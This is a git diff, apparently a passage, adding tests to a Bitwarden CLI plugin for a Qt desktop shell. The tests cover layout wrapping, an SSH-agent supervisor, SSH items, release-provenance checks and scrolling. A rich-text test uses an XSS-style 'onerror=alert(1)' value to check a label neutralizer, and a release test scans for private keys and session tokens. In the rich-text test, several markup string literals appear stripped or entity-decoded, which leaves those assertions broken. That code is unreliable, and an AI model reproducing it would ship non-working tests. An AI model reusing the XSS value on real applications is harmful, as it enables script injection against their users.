worse row than a shorter label. + function test_the_unfiltered_filter_row_is_one_line() { + var row = { spacing: 6, buttons: [ + filterChip("Folders", "All", "\u{f024b}"), + filterChip("Organizations", "All", "\u{f0991}"), + filterChip("Types", "All", "\u{f003b}") + ] } + var total = measure(row) + verify(total <= panelBudget, + "the default filter row needs " + total.toFixed(1) + "px of " + panelBudget + + " -- it would open already wrapped") + } + + // Two: no single chip can be wider than the panel, whatever is in the vault. + // A Flow can move a button to the next line but never make one narrower, so + // this is the one thing wrapping cannot rescue -- it is what the clip is for. + function test_no_filter_chip_can_outgrow_the_panel_on_its_own() { + var monstrous = "Acme Corporation Holdings International Limited" + var names = [["Folders", "\u{f024b}"], ["Organizations", "\u{f0991}"], ["Types", "\u{f003b}"]] + for (var i = 0; i < names.length; i++) { + var chip = filterChip(names[i][0], monstrous, names[i][1]) + var width = buttonWidth(chip) + verify(width <= panelBudget, + names[i][0] + " chip reaches " + width.toFixed(1) + "px of " + panelBudget + + " with a long vault name -- the clip is not holding") + } + } + + // --------------------------------------------------- the wrapping is real + // + // Everything above is arithmetic. This part instantiates the two containers + // the fix relies on and checks they behave, because both do something a Row + // does not: the header wraps, and the filter row shrink-wraps so it can stay + // centred while it fits and take the whole panel when it cannot. + // + // The chips stand in for qs.Ui.Button -- which will not load here -- using + // the same implicitWidth this file already restates. + Component { + id: chip + Item { + // Named, because inside a Component `parent` is the Flow it is created + // in, not this Item -- reaching the label through `parent` silently + // measures an empty string and nothing ever wraps. + id: chipRoot + property string label: "" + property int px: 11 + implicitWidth: chipMetrics.advanceWidth + tc.controlGap + tc.iconWidth("\u{f01b4}") + + tc.controlPaddingX * 2 + tc.reservedBorder + width: implicitWidth + height: 26 + TextMetrics { + id: chipMetrics + font.family: "monospace" + font.pixelSize: chipRoot.px + text: chipRoot.label + } + } + } + + Item { + id: headerHost + width: tc.panelBudget + height: 100 + Flow { + id: headerFlow + width: parent.width + spacing: 8 + } + } + + Item { + id: filterHost + width: tc.panelBudget + height: 100 + Flow { + id: filterFlow + anchors.horizontalCenter: parent.horizontalCenter + spacing: 6 + // The binding under test, copied from Panel.qml: it reads the chips' + // implicitWidth and never their width, so it cannot feed itself. + readonly property real naturalWidth: { + var total = 0 + for (var i = 0; i < children.length; i++) total += children[i].implicitWidth + return total + spacing * Math.max(0, children.length - 1) + } + width: Math.min(parent.width, naturalWidth) + } + } + + function fill(flow, labels, px) { + for (var i = flow.children.length - 1; i >= 0; i--) flow.children[i].destroy() + wait(20) // destroy() is deferred; the children are still there until it runs + for (var j = 0; j < labels.length; j++) { + chip.createObject(flow, { label: labels[j], px: px }) + } + wait(20) + compare(flow.children.length, labels.length, "the stub chips did not all get created") + for (var k = 0; k < flow.children.length; k++) { + verify(flow.children[k].implicitWidth > 0, + "a stub chip measured as zero-width -- it is not measuring its label") + } + } + + function overhang(flow, host) { + var worst = 0 + for (var i = 0; i < flow.children.length; i++) { + var child = flow.children[i] + var edge = child.mapToItem(host, child.width, 0).x + if (edge - host.width > worst) worst = edge - host.width + } + return worst + } + + function test_the_header_wraps_instead_of_pushing_a_button_off_the_panel() { + fill(headerFlow, ["Back (Esc)", "Suggested here", "Edit", "Delete"], 11) + var oneLine = headerFlow.height + compare(overhang(headerFlow, headerHost), 0, "a button hangs past the panel at full width") + + // The narrow panel a small screen actually produces. + headerHost.width = 300 + wait(20) + compare(overhang(headerFlow, headerHost), 0, "a button hangs past a 300px panel") + verify(headerFlow.height > oneLine, "the header should have taken a second line") + + headerHost.width = tc.panelBudget + wait(20) + compare(headerFlow.height, oneLine, "and should return to one line") + } + + function test_the_filter_row_stays_centred_while_it_fits_and_wraps_when_it_does_not() { + fill(filterFlow, ["Unfiled", "Personal", "Favorites"], 10) + verify(filterFlow.width < filterHost.width, + "the row should shrink-wrap so it can be centred, got " + filterFlow.width) + var left = filterFlow.x + var right = filterHost.width - (filterFlow.x + filterFlow.width) + verify(Math.abs(left - right) < 1.5, "not centred: left " + left + ", right " + right) + + filterHost.width = 200 + wait(20) + compare(filterFlow.width, 200, "the row should take the whole panel once it must wrap") + compare(overhang(filterFlow, filterHost), 0, "a filter chip hangs past the panel") + + filterHost.width = tc.panelBudget + wait(20) + verify(filterFlow.width < tc.panelBudget, "the row should shrink-wrap and re-centre") + } + + // The restated geometry above is only right while the kit's is unchanged. + function test_button_geometry_is_still_the_kits() { + var xhr = new XMLHttpRequest() + xhr.open("GET", "file:///usr/share/omarchy/shell/Ui/Button.qml", false) + xhr.send() + var source = xhr.responseText || "" + if (source.length === 0) return // kit not installed here; nothing to check + verify(source.indexOf( + "implicitWidth: row.implicitWidth + horizontalPadding * 2 " + + "+ _reservedBorderLeft + _reservedBorderRight") >= 0, + "Ui/Button.qml no longer sizes itself the way this test assumes") + verify(/spacing:\s*Style\.spacing\.controlGap/.test(source), + "Ui/Button.qml no longer gaps its icon and label by controlGap") + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_agent.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_agent.qml new file mode 100644 index 0000000..bca18fd --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_agent.qml @@ -0,0 +1,183 @@ +import QtQuick +import QtTest +import "../../BitwardenModel.js" as Model + +// The supervision logic runs inside QML's own JavaScript engine, not Node's. +// These cases re-prove the properties the panel depends on -- the inert +// default, the one transition that opens the signing gate, and the bounded +// failure paths -- against that engine, and check that the reducer never asks +// the caller to wait for anything. +TestCase { + name: "SshAgent" + + readonly property string readyLine: JSON.stringify({ + v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock", + fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0" + }) + + function drive(state, events) { + var actions = [] + for (var i = 0; i < events.length; i++) { + var step = Model.sshAgentReduce(state, events[i]) + state = step.state + actions.push(step.action) + } + return { state: state, actions: actions, last: actions[actions.length - 1] } + } + + function ready() { + return drive(Model.sshAgentInitialState(), [ + { kind: "enabled", value: true, nowMs: 0 }, + { kind: "started", nowMs: 1 }, + { kind: "line", line: readyLine, nowMs: 2 } + ]) + } + + function test_disabled_supervisor_starts_nothing() { + var run = drive(Model.sshAgentInitialState(), [ + { kind: "started", nowMs: 0 }, + { kind: "line", line: readyLine, nowMs: 1 }, + { kind: "restartTimer", nowMs: 2 } + ]) + compare(run.state.phase, "disabled") + compare(run.state.gateOpen, false) + for (var i = 0; i < run.actions.length; i++) { + verify(!run.actions[i].start) + verify(!run.actions[i].writeHello) + } + } + + function test_handshake_opens_the_signing_gate() { + var run = ready() + compare(run.state.phase, "ready") + compare(run.state.gateOpen, true) + compare(run.state.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock") + compare(run.state.agentVersion, "0.1.0") + } + + function test_reductions_never_ask_qml_to_wait() { + var run = ready() + for (var i = 0; i < run.actions.length; i++) { + verify(run.actions[i].wait === undefined) + verify(run.actions[i].waitMs === undefined) + verify(typeof run.actions[i].restartInMs === "number") + } + } + + function test_helper_is_launched_by_absolute_plugin_path() { + var dir = Model.pluginDirFromUrl("file:///home/u/.config/omarchy/plugins/bw/") + compare(dir, "/home/u/.config/omarchy/plugins/bw") + // The source comes from the bundle inspection; the command follows it + // rather than guessing which binary to run. + var cmd = Model.sshAgentHelperCommand(dir, "bundled") + compare(cmd.length, 1) + compare(cmd[0].charAt(0), "/") + verify(cmd[0].indexOf("/home/u/.config/omarchy/plugins/bw/") === 0) + compare(Model.sshAgentHelperCommand(Model.pluginDirFromUrl("file:///opt/bw/../etc/"), "bundled").length, 0) + compare(Model.sshAgentHelperCommand(dir, "").length, 0) + } + + function test_helper_environment_is_minimal() { + var env = Model.sshAgentHelperEnv("/run/user/1000") + var keys = [] + for (var k in env) keys.push(k) + compare(keys.length, 1) + compare(keys[0], "XDG_RUNTIME_DIR") + compare(Model.sshAgentHelperEnv("relative/dir"), null) + } + + function test_bad_output_closes_the_gate() { + var cases = [ + { line: "not json", code: "MALFORMED" }, + { line: '{"v":2,"type":"locked","epoch":1}', code: "VERSION_MISMATCH" }, + { line: '{"v":1,"type":"exec"}', code: "UNKNOWN_TYPE" }, + { line: readyLine, code: "PROTOCOL" } + ] + for (var i = 0; i < cases.length; i++) { + var run = drive(ready().state, [{ kind: "line", line: cases[i].line, nowMs: 100 }]) + compare(run.state.errorCode, cases[i].code) + compare(run.state.gateOpen, false) + compare(run.last.stop, true) + } + } + + function test_overlong_output_is_rejected_by_bytes() { + var filler = new Array(Model.sshAgentMaxLineBytes()).join("é") + var run = drive(ready().state, [{ + kind: "line", nowMs: 100, + line: '{"v":1,"type":"error","code":"X","message":"' + filler + '"}' + }]) + compare(run.state.errorCode, "LINE_TOO_LONG") + compare(run.state.gateOpen, false) + } + + function test_blank_output_is_ignored() { + var run = drive(ready().state, [{ kind: "line", line: "", nowMs: 100 }]) + compare(run.state.phase, "ready") + compare(run.state.gateOpen, true) + } + + function test_stalled_handshake_is_bounded() { + var run = drive(Model.sshAgentInitialState(), [ + { kind: "enabled", value: true, nowMs: 0 }, + { kind: "started", nowMs: 1 }, + { kind: "handshakeTimeout", nowMs: Model.sshAgentHandshakeTimeoutMs() } + ]) + compare(run.state.errorCode, "HANDSHAKE_TIMEOUT") + compare(run.state.gateOpen, false) + compare(run.last.stop, true) + } + + function test_eof_closes_the_gate_and_backs_off() { + var run = drive(ready().state, [{ kind: "exited", exitCode: 0, nowMs: 100 }]) + compare(run.state.gateOpen, false) + compare(run.state.phase, "backoff") + compare(run.last.restartInMs, Model.sshAgentRestartDelayMs(1)) + } + + function test_crash_loop_stops_restarting() { + var state = Model.sshAgentReduce(Model.sshAgentInitialState(), + { kind: "enabled", value: true, nowMs: 0 }).state + var scheduled = 0 + var clock = 0 + for (var i = 0; i < Model.sshAgentMaxRestarts() + 2; i++) { + clock += 10 + state = Model.sshAgentReduce(state, { kind: "started", nowMs: clock }).state + clock += 10 + var step = Model.sshAgentReduce(state, { kind: "exited", exitCode: 101, nowMs: clock }) + state = step.state + if (step.action.restartInMs >= 0) scheduled++ + if (state.phase !== "backoff") break + clock += 10 + state = Model.sshAgentReduce(state, { kind: "restartTimer", nowMs: clock }).state + } + compare(state.phase, "failed") + compare(state.errorCode, "CRASH_LOOP") + compare(state.gateOpen, false) + compare(scheduled, Model.sshAgentMaxRestarts()) + } + + function test_backoff_is_capped() { + verify(Model.sshAgentRestartDelayMs(1) < Model.sshAgentRestartDelayMs(2)) + compare(Model.sshAgentRestartDelayMs(99), Model.sshAgentRestartDelayMs(100)) + } + + function test_disabling_stops_everything() { + var run = drive(ready().state, [{ kind: "enabled", value: false, nowMs: 100 }]) + compare(run.state.phase, "disabled") + compare(run.state.gateOpen, false) + compare(run.last.stop, true) + compare(run.last.cancelRestart, true) + } + + function test_reenabling_clears_a_crash_loop() { + var failed = Model.sshAgentInitialState() + failed.phase = "failed" + failed.errorCode = "CRASH_LOOP" + failed.failures = Model.sshAgentMaxRestarts() + 1 + var run = drive(failed, [{ kind: "enabled", value: true, nowMs: 0 }]) + compare(run.state.phase, "starting") + compare(run.state.errorCode, "") + compare(run.last.start, true) + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_items.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_items.qml new file mode 100644 index 0000000..858d045 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_items.qml @@ -0,0 +1,26 @@ +import QtQuick +import QtTest +import "../../BitwardenModel.js" as Model + +TestCase { + name: "SshItems" + + function test_sanitized_items_are_filterable_and_public() { + var items = Model.parseSanitizedItems(JSON.stringify({ + items: [{ id: "login", type: 1, name: "Login", login: { username: "u" } }], + sshKeys: [{ id: "ssh", type: 5, name: "Deploy", favorite: true, + sshKey: { publicKey: "ssh-ed25519 AAAA", fingerprint: "SHA256:fp" } }] + })) + compare(items.length, 2) + compare(Model.filterItems(items, "AAAA", "all", "all", "all").length, 1) + compare(Model.filterItems(items, "", "sshKey", "all", "all")[0].id, "ssh") + verify(Model.itemDetailFromObject(items[1].rawObject).password === "") + } + + function test_ssh_generic_actions_fail_closed() { + compare(Model.buildCreatePayload(5, "Deploy"), null) + compare(Model.getItemCommand("ssh", 5).length, 0) + compare(Model.editItemCommand("ssh", 5).length, 0) + compare(Model.deleteItemCommand("ssh", 5).length, 0) + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/release-provenance.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/release-provenance.test.js new file mode 100644 index 0000000..eaed5fc --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/release-provenance.test.js @@ -0,0 +1,195 @@ +#!/usr/bin/env node +// A release is where this repository's committed binary stops being an +// internal claim and becomes something other people install. These tests guard +// the parts of that path which fail quietly: an elevated permission that leaks +// out of the one job meant to hold it, an action pinned to a moving tag, a +// publication that never re-checked the bytes it publishes, or a release whose +// version agrees with nothing. +// +// They do not run a release. What can be checked here is that the definition +// grants the least it can, verifies before it publishes, and says out loud +// what its artifacts are and are not. +// +// node tests/release-provenance.test.js + +const fs = require("fs") +const path = require("path") + +const repoRoot = path.join(__dirname, "..") +const read = p => fs.readFileSync(path.join(repoRoot, p), "utf8") + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +const release = read(".github/workflows/release.yml") +const build = read(".github/workflows/agent-build.yml") +const owners = read(".github/CODEOWNERS") + +// Split the file into its jobs, so a question like "which job can write" has +// a per-job answer rather than a whole-file one. Grepping the whole workflow +// for `id-token: write` would pass just as happily if every job had it. +const jobsBody = release.slice(release.indexOf("\njobs:")) +const jobs = new Map( + [...jobsBody.matchAll(/^ {2}([a-z][a-z0-9-]*):\n([\s\S]*?)(?=^ {2}[a-z][a-z0-9-]*:\n|$(?![\s\S]))/gm)] + .map(([, name, body]) => [name, body])) + +check("the workflow defines the three stages it describes", + ["gates", "verify", "release"].every(j => jobs.has(j)), + `jobs found: ${[...jobs.keys()].join(", ")}`) + +// ------------------------------------------------------------------------- +// What triggers it, and what cannot +// ------------------------------------------------------------------------- + +check("a release is a tag, not a branch push", + /on:\n(?:.*\n)*?\s*push:\n\s*tags:\n\s*- 'v\*'/.test(release) && !/^\s*branches:/m.test(release), + "the release workflow runs on something other than a version tag") +check("a dispatch run can rehearse the whole path", + /workflow_dispatch:/.test(release), + "verification cannot be run without creating a tag") +check("only a tag reaches the publishing job", + /if: github\.ref_type == 'tag'/.test(jobs.get("release") || ""), + "a dispatch run could publish a release or sign an attestation") +check("a release in flight is never cancelled", + /concurrency:[\s\S]{0,200}?cancel-in-progress: false/.test(release), + "a second tag could cancel a half-published release") + +// ------------------------------------------------------------------------- +// Least privilege, and where it stops +// ------------------------------------------------------------------------- + +const topLevel = release.slice(0, release.indexOf("\njobs:")) +check("the workflow is read-only by default", + /^permissions:\n\s*contents: read\s*$/m.test(topLevel), + "the default token carries more than read") + +const elevated = ["contents: write", "id-token: write", "attestations: write"] +for (const grant of elevated) { + const holders = [...jobs].filter(([, body]) => body.includes(grant)).map(([name]) => name) + check(`only the release job holds ${grant}`, + holders.length === 1 && holders[0] === "release", + `held by: ${holders.join(", ") || "nobody"}`) +} +check("the gates and verify jobs state their read-only scope rather than inheriting it", + /permissions:\n\s*contents: read/.test(jobs.get("gates") || "") + && /permissions:\n\s*contents: read/.test(jobs.get("verify") || ""), + "a later change to the default would silently widen these jobs") +check("the elevated job runs behind an environment", + /environment:\n\s*name: release/.test(jobs.get("release") || ""), + "elevated credentials come into existence with no approval step") +check("no secret is referenced", + !/secrets\./.test(release), + "a release should need nothing beyond the job's own token") + +// A tag is a moving pointer, and this is the workflow that mints signing +// credentials. Same argument as pinning the build image by digest, applied to +// the code that runs the release. +const actionUses = [...release.matchAll(/uses:\s*([^\s@]+)@(\S+)/g)] + .filter(([, name]) => !name.startsWith("./")) +check("every third-party action is pinned to a full commit SHA", + actionUses.length > 0 && actionUses.every(([, , ref]) => /^[0-9a-f]{40}$/.test(ref)), + actionUses.filter(([, , ref]) => !/^[0-9a-f]{40}$/.test(ref)).map(m => m[0]).join(", ") || "no actions used") +check("each pin says which release it is, for a human", + (release.match(/@[0-9a-f]{40} # v\d/g) || []).length === actionUses.length, + "a bare SHA tells a reviewer nothing about what version it is") + +// ------------------------------------------------------------------------- +// The gates are the branch's gates +// ------------------------------------------------------------------------- + +check("the release calls the branch's gates instead of copying them", + /uses: \.\/\.github\/workflows\/agent-build\.yml/.test(jobs.get("gates") || ""), + "the release re-implements the checks, so the two can drift apart") +check("the branch workflow is callable", + /^\s*workflow_call:/m.test(build), + "release.yml calls a workflow that does not accept being called") +// The gates run as part of the release, so they share the called workflow's +// concurrency group. Scoped by ref alone, a branch build and a release could +// cancel each other -- which is exactly what release.yml's own +// `cancel-in-progress: false` exists to prevent. +check("a branch build and a release cannot cancel each other", + /group: agent-build-\$\{\{ github\.workflow \}\}/.test(build) + && /cancel-in-progress: \$\{\{ github\.workflow != 'release' \}\}/.test(build), + "the called workflow's concurrency group does not distinguish its callers") +check("nothing publishes before those gates pass", + /needs: gates/.test(jobs.get("verify") || "") && /needs: verify/.test(jobs.get("release") || ""), + "the publishing job does not depend on verification") + +// ------------------------------------------------------------------------- +// What the release verifies about itself +// ------------------------------------------------------------------------- + +const verify = jobs.get("verify") || "" +check("the tag, the manifest and the changelog must agree", + /manifest\.json says/.test(verify) && /CHANGELOG\.md has no/.test(verify), + "a tag could name a version nothing else in the repository claims") +check("the committed checksum is re-checked against the committed bytes", + (release.match(/sha256sum -c SHA256SUMS/g) || []).length >= 2, + "the binary and the checksum shipped beside it are never compared at release time") +check("the helper's reported versions are checked against the panel's", + /SSH_AGENT_CONTROL_VERSION/.test(verify) && /control protocol/.test(verify), + "a protocol bump could ship to users and disable the feature at launch") +check("the shipped binary is executed, not merely compiled", + /--self-test/.test(verify), "nothing runs the bytes being released") +// A container job's default shell is the image's `sh`. The scan step uses an +// array, and sh has none: the first rehearsal of this workflow died on +// `Syntax error: "(" unexpected` after every expensive step had already +// passed. +check("the container job declares bash rather than taking the image's sh", + /defaults:\n\s*run:\n(?:\s*#[^\n]*\n)*\s*shell: bash/.test(verify), + "a bashism in a container step fails at the end of a long job") + +const releaseJob = jobs.get("release") || "" +check("the release job runs the bytes outside the build container", + !/container:/.test(releaseJob) && /--self-test/.test(releaseJob), + "a binary that only works inside its own build image would still be published") +check("the attestation names the shipped binary as its subject", + /attest-build-provenance@[0-9a-f]{40}[\s\S]{0,300}?subject-path: bin\/x86_64-linux\/qs-bitwarden-ssh-agent/ + .test(releaseJob), + "the provenance attestation does not bind the tracked bytes") +check("the verification command is written down where a reviewer will find it", + /gh attestation verify/.test(release), + "users are given provenance with no documented way to check it") + +// ------------------------------------------------------------------------- +// What the release publishes +// ------------------------------------------------------------------------- + +check("an SBOM is published", /cyclonedx/.test(verify), "no SBOM is produced") +check("a dependency and licence report is published", + /cargo deny[\s\S]{0,140}?\blist\b/.test(verify) && /cargo tree/.test(verify), + "users cannot see what is in the binary or under what terms") +check("debug symbols are published separately from the shipped bytes", + /only-keep-debug/.test(verify) && /\.debug/.test(verify), + "a stripped binary ships with no way to debug it at all") +// The release profile strips symbols, and a debug build links differently -- +// its entry point and code layout move. Publishing the file is fine. +// Implying it maps onto the shipped bytes would not be. +check("the debug symbols say plainly that they are not the shipped bytes", + /DEBUG-SYMBOLS\.md/.test(verify) && /not[\s\S]{0,80}split of the shipped binary/i.test(verify), + "the symbol file invites address-level conclusions it cannot support") +check("release artifacts are scanned for key material before publication", + /PRIVATE KEY/.test(verify) && /BW_SESSION/.test(verify), + "nothing checks that a report or symbol file is free of secrets") +check("the release notes are the changelog section for this version", + /release-notes\.md/.test(releaseJob) && /no changelog section for/.test(releaseJob), + "a release could publish empty notes or the entire changelog") + +// ------------------------------------------------------------------------- +// Who has to look at it +// ------------------------------------------------------------------------- + +check("the release workflow requires code-owner review", + /release\.yml/.test(owners) || /^\/\.github\/\s+@/m.test(owners), + "the one workflow that can publish is not owned by anyone") +check("the binary, its build script and the agent source stay owned", + /^\/bin\/\s+@/m.test(owners) && /build-agent\.sh\s+@/m.test(owners) && /^\/agent\/\s+@/m.test(owners), + "a change to the trust path could merge without review") + +if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) +} +console.log(`release-provenance: ${pass} passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/rich-text.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/rich-text.test.js new file mode 100644 index 0000000..c92732a --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/rich-text.test.js @@ -0,0 +1,124 @@ +#!/usr/bin/env node +// Vault values are attacker-controlled text, and Qt renders text as HTML the +// moment it looks like markup. These tests pin both halves of the defence: +// the neutralizer used for the shared kit controls, and the `textFormat` +// every Text in the plugin's own QML must declare. +// +// node tests/rich-text.test.js + +const fs = require("fs") +const path = require("path") +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.plainLabel = plainLabel + exports.clipLabel = clipLabel +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// --- plainLabel --- +// Ordinary names cannot trip Qt's sniffer, so they must survive byte for byte: +// this runs on labels a user reads next to their credentials. +for (const name of ["Work", "Personal Vault", "e-mail (old)", "日本語", "", "a > b"]) { + check(`plainLabel leaves ${JSON.stringify(name)} untouched`, + Model.plainLabel(name) === name, JSON.stringify(Model.plainLabel(name))) +} +check("plainLabel maps null and undefined to an empty label", + Model.plainLabel(null) === "" && Model.plainLabel(undefined) === "", + JSON.stringify([Model.plainLabel(null), Model.plainLabel(undefined)])) + +// Nothing that reaches the control may still read as a tag. +const markup = Model.plainLabel("") +check("plainLabel escapes a tag out of existence", + markup === '<img src=x onerror=alert(1)>', markup) +check("plainLabel escapes bold markup", + Model.plainLabel("Work").indexOf("") < 0, Model.plainLabel("Work")) + +// Escaping alone is not enough: without the wrapper Qt may decide the escaped +// string is plain text and show the entities raw. The wrapper forces the +// rich-text path so "&" survives as "&". +const amp = Model.plainLabel("AT&T ") +check("plainLabel escapes ampersands and forces the rich-text path", + amp === 'AT&T <holdings>', amp) +check("plainLabel neutralizes a value that is already entity-encoded", + Model.plainLabel("<script>") === '&lt;script&gt;', + Model.plainLabel("<script>")) +check("plainLabel is idempotent in the sense that re-running it cannot inject", + Model.plainLabel(Model.plainLabel("x")).indexOf("") < 0, + Model.plainLabel(Model.plainLabel("x"))) + +// --- the QML side --- +// Text defaults to Text.AutoText. Vault names, usernames, URIs, notes and Send +// names all land in one of these, so every one of them has to say otherwise -- +// including the ones that only render a constant today. +for (const file of ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml", "FormPickerRow.qml", "StatusNotice.qml", "DetailField.qml", "WheelScroll.qml"]) { + const src = fs.readFileSync(path.join(__dirname, "..", file), "utf8").split("\n") + const bare = [] + src.forEach((line, i) => { + if (!/(? fs.readFileSync(path.join(__dirname, "..", file), "utf8")) + .join("\n") +for (const binding of ["formFolderLabel()", "formOrgLabel()", "Model.clipLabel(value, 20)", + 'name + " filter (" + shortcut + "): " + value']) { + const line = panel.split("\n").find(l => l.includes(binding) && /^\s*(text|tooltipText):/.test(l)) + check(`the button label built from ${binding} goes through plainLabel`, + Boolean(line) && line.includes("Model.plainLabel("), String(line)) +} + +// Order matters, and only one order is safe. plainLabel may return a +// wrapper, so clipping its output could cut a tag in half and hand the control +// the markup the wrapper exists to prevent. Clip the raw value, then neutralize. +const clipLine = panel.split("\n").find(l => l.includes("Model.clipLabel(")) +check("the vault value is clipped before it is neutralized, never after", + Boolean(clipLine) + && clipLine.indexOf("Model.plainLabel(") >= 0 + && clipLine.indexOf("Model.plainLabel(") < clipLine.indexOf("Model.clipLabel(") + && !/Model\.clipLabel\(\s*Model\.plainLabel\(/.test(clipLine), + String(clipLine)) +check("the suggestion tooltip neutralizes the window title it quotes", + /tooltipText: Model\.plainLabel\(\(pinned/.test(panel), "expected Model.plainLabel around the tooltip") + +// --- clipping vault text to a width the panel can hold --- +// Ui.Button has no elide, so a folder name decides how wide a button is. The +// clip is what keeps that decision ours; the ellipsis lives inside the budget, +// so `max` is a real ceiling and not a suggestion. +check("a value already within the budget is returned untouched", + Model.clipLabel("Work", 20) === "Work", Model.clipLabel("Work", 20)) +check("a value exactly at the budget is not clipped", + Model.clipLabel("12345678901234567890", 20) === "12345678901234567890", + Model.clipLabel("12345678901234567890", 20)) +check("a longer value is cut to the budget, ellipsis included", + Model.clipLabel("123456789012345678901", 20) === "12345678901234567...", + Model.clipLabel("123456789012345678901", 20)) +for (const [value, max] of [["Client Projects 2026", 20], ["x".repeat(400), 20], + ["short", 4], ["abc", 2], ["abcd", 3]]) { + check(`clipLabel(${JSON.stringify(value).slice(0, 24)}, ${max}) never exceeds its budget`, + Model.clipLabel(value, max).length <= max, Model.clipLabel(value, max)) +} +check("a missing or unusable value clips to the empty string, never to \"null\"", + Model.clipLabel(null, 20) === "" && Model.clipLabel(undefined, 20) === "", + JSON.stringify([Model.clipLabel(null, 20), Model.clipLabel(undefined, 20)])) +check("a nonsense budget still returns something drawable", + Model.clipLabel("Work", 0).length > 0 && Model.clipLabel("Work", -5).length > 0, + JSON.stringify([Model.clipLabel("Work", 0), Model.clipLabel("Work", -5)])) +// The clip runs on raw vault text, so it must not be what introduces markup. +check("clipping cannot manufacture markup that plainLabel then has to catch", + Model.plainLabel(Model.clipLabel("", 20)).indexOf("", 20))) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/scrolling.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/scrolling.test.js new file mode 100644 index 0000000..17fc9ad --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/scrolling.test.js @@ -0,0 +1,77 @@ +#!/usr/bin/env node +// Wheel scrolling across the panel. +// +// Qt moves a Flickable by the platform's wheel-scroll-lines, a figure tuned for +// a full-screen document. In a panel a few hundred pixels tall that is a crawl, +// so the rate is set here instead -- and set in one place, because two views +// scrolling at different speeds is worse than both being slow. +// +// node tests/scrolling.test.js + +const fs = require("fs") +const path = require("path") + +const read = f => fs.existsSync(path.join(__dirname, "..", f)) + ? fs.readFileSync(path.join(__dirname, "..", f), "utf8") : "" + +const panelSrc = read("Panel.qml") +const wheelSrc = read("WheelScroll.qml") + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +check("WheelScroll exists", wheelSrc !== "", "WheelScroll.qml is missing") + +// --- the component ------------------------------------------------------------ + +check("it is one component rather than a handler pasted into every view", + /required property Flickable view/.test(wheelSrc) && /property real step/.test(wheelSrc), + "expected a reusable component taking the view it drives") + +check("it accepts the event so the slower built-in handling does not also run", + /event\.accepted = true/.test(wheelSrc), + "an unaccepted wheel event would be handled twice, at two different rates") + +check("it cannot scroll past either end", + /Math\.max\(0, Math\.min\(limit, next\)\)/.test(wheelSrc), + "expected the new position to be clamped to the content") + +check("the limit accounts for the visible height, not just the content", + /contentHeight - root\.view\.height/.test(wheelSrc), + "scrolling would run past the bottom by one screen") + +check("a wheel event carrying no vertical movement changes nothing", + /if \(notches === 0\) return/.test(wheelSrc), + "a horizontal wheel or a stray event must not move the view") + +// --- every view uses it -------------------------------------------------------- + +// Each scrolling view in the panel. The list is spelled out so a view added +// later without tuned scrolling shows up as a failure rather than as an +// inconsistency somebody notices months later. +const scrollViews = [ + "sendFlick", "fpFlick", "genFlick", "pinFlick", "setupFlick", "settingsFlick", + "itemsListView", "filterOptionsList", "detailFlickable", "editFlickable", + "folderPickList", "orgPickList", "collectionList", +] + +for (const view of scrollViews) { + check(`${view} scrolls at the panel's rate`, + new RegExp(`WheelScroll \\{ view: ${view} \\}`).test(panelSrc), + `${view} still scrolls at the platform default`) +} + +check("every scrolling view is accounted for", + (panelSrc.match(/WheelScroll \{/g) || []).length === scrollViews.length, + `${(panelSrc.match(/WheelScroll \{/g) || []).length} handlers for ${scrollViews.length} views`) + +check("and every one of them has a scrollbar, so the list is the same list", + (panelSrc.match(/ScrollBar\.vertical:/g) || []).length === scrollViews.length, + "a view with a scrollbar but no wheel tuning would scroll at a different rate") + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/sends.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/sends.test.js new file mode 100644 index 0000000..38df9a1 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/sends.test.js @@ -0,0 +1,198 @@ +#!/usr/bin/env node +// Tests for Bitwarden Send payloads, parsing and command construction. +// Field names come from a real `bw send --fullObject` response. +// +// node tests/sends.test.js + +const fs = require("fs") +const path = require("path") +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.buildSendPayload = buildSendPayload + exports.parseSends = parseSends + exports.sendExpiryLabel = sendExpiryLabel + exports.sendAccessLabel = sendAccessLabel + exports.createSendCommand = 